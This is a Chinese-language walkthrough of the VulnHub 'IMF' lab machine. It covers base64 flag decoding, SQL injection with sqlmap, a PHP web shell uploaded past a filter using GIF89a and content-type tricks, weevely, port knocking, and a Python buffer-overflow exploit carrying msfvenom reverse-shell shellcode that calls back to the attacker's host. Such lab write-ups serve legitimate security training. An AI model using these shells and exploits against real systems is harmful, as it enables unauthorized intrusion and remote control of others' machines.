前言
⏰时间:2023.718
🗺️靶机地址:https://www.vulnhub.com/entry/imf-1,162/
⚠️文中涉及操作均在靶机模拟环境中完成,切勿未经授权用于真实环境。
🙏本人水平有限,如有错误望指正,感谢您的查阅!
🎉欢迎关注🔍点赞👍收藏⭐️留言📝
信息收集
nmap只扫出个80端口
目录也没扫除啥
curl http://192.168.58.152,可以直接看到关键信息
看着像是base64编码,组合到一起解码
ZmxhZzJ7YVcxbVlXUnRhVzVwYzNSeVlYUnZjZz09fQ==
flag2{aW1mYWRtaW5pc3RyYXRvcg==}
解码为imfadministrator
作为目录访问
http://192.168.58.152/imfadministrator/
网站的contact us页面下面有三个用户名rmichaels,akeith,estone
用户名遍历
发现只有当用户名是rmichaels时,回显密码不正确,说明存在用户名遍历
解码continueTOcms
sql注入
看url可能存在注入点,试了下没有文件包含
输入单引号报错,可能存在sql注入
将数据包存为txt文件扔给sqlmap
sqlmap -r sql.txt -D admin -T pages -C pagedata --dump
http://192.168.58.152/imfadministrator/images/whiteboard.jpg
扫码到flag4{dXBsb2Fkcjk0Mi5waHA=}base64解码为uploadr942.php
文件上传
可以这样绕过waf
content-type: image/jpeg
GIF89a
<?php $a=$_REQUEST[cmd]; print(`$a`);?> # 注意反引号的使用
或者用weevely生成shell
weevely generate cmd haha.php # 密码cmd
mv haha.php haha.gif
content-type: image/jpeg
GIF89a
weevely http://192.168.58.152/imfadministrator/uploads/6bd7bbfeab6b.gif cmd # 连接上传的马获得shell
上传成功后经测试,发现被随机重命名6bd7bbfeab6b.gif
拿到flag5{YWdlbnRzZXJ2aWNlcw==} ,解码为 agentservices
提权exp
刚才提示agentservice,find搜一下agent
/usr/local/bin/agent
/etc/xinetd.d/agent
netstat -antlp发先本地监听7788
nc 127.0.0.1 7788 发现正是agent
但是一开始没扫到7788,这里需要knock一下
使用knock敲门,git clone https://github.com/grongor/knock.git
/usr/local/bin目录下查看access_codes发现端口序列:7482 8279 9467
./knock 192.168.58.152 7482 8279 9467
然后就扫出来7788
执行agent文件发现需要输入id
ltrace ./agent,正确的id是48093572
strings agent ,有%s的地方说明可能存在溢出
check 检查安全设置
cat /proc/sys/kernel/randomize_va_space查看随机化设置,随机化会导致缓冲区溢出漏洞文件到处跑
2表示全随机,1表示半随机,0表示关闭
说明存在随机化,所以得检查文件md5值
目标执行nc 192.168.58.153 9999 < agent
kali 执行 nc -lp 9999 > agent
将传过来的文件base64 agent > agent.txt
然后再cat agent.txt | base64 -d > agent1
再将agent 和agent1做MD5对比,发现一致
asmsearch "call eax"查找下一跳,0x8048440
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 200
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 41366641
将gdb中爆出的溢出字段拿回来检查溢出点
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.58.153 LPORT=8888 -f python -b “\x00\x0a\x0b”
#!/usr/bin/python
import time, struct, sys
import socket as so
#Command used for Linux Payload.. replace with your IP - msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.58.153 LPORT=8888 -f python -b "\x00\x0a\x0b"
buf = b""
buf += b"\xb8\xc3\x8d\xcb\x37\xda\xcc\xd9\x74\x24\xf4\x5d"
buf += b"\x29\xc9\xb1\x12\x83\xc5\x04\x31\x45\x0e\x03\x86"
buf += b"\x83\x29\xc2\x39\x47\x5a\xce\x6a\x34\xf6\x7b\x8e"
buf += b"\x33\x19\xcb\xe8\x8e\x5a\xbf\xad\xa0\x64\x0d\xcd"
buf += b"\x88\xe3\x74\xa5\xca\xbc\xbd\xac\xa3\xbe\xc1\xec"
buf += b"\x8b\x36\x20\x40\x8d\x18\xf2\xf3\xe1\x9a\x7d\x12"
buf += b"\xc8\x1d\x2f\xbc\xbd\x32\xa3\x54\x2a\x62\x6c\xc6"
buf += b"\xc3\xf5\x91\x54\x47\x8f\xb7\xe8\x6c\x42\xb7"
#CALL EAX address is 8048563
buf += "A" * (168 - len(buf))
buf +="\x63\x85\x04\x08\n"
try:
server = str(sys.argv[1])
port = int(sys.argv[2])
except IndexError:
print "[+] Usage example: python %s 192.168.56.103 7788" % sys.argv[0]
sys.exit()
#Automatically connects to agent binary, enters the Agent ID number, and sends malicious payload using option 3.
s = so.socket(so.AF_INET, so.SOCK_STREAM)
print "\n[+] Attempting to send buffer overflow to agent...."
try:
s.connect((server,port))
s.recv(1024)
s.send("48093572\n")
s.recv(1024)
s.send("3\n")
s.send(buf)
s.recv(1024)
print "\n[+] Completed."
except:
print "[+] Unable to connect to agent over port 7788. Check your IP address and port. Make sure 7788 is really open."
sys.exit()
最后本地kali监听 nc nvlp 8888
kali上执行脚本
python2 exp.py 192.168.58.152 7788 即可收到shell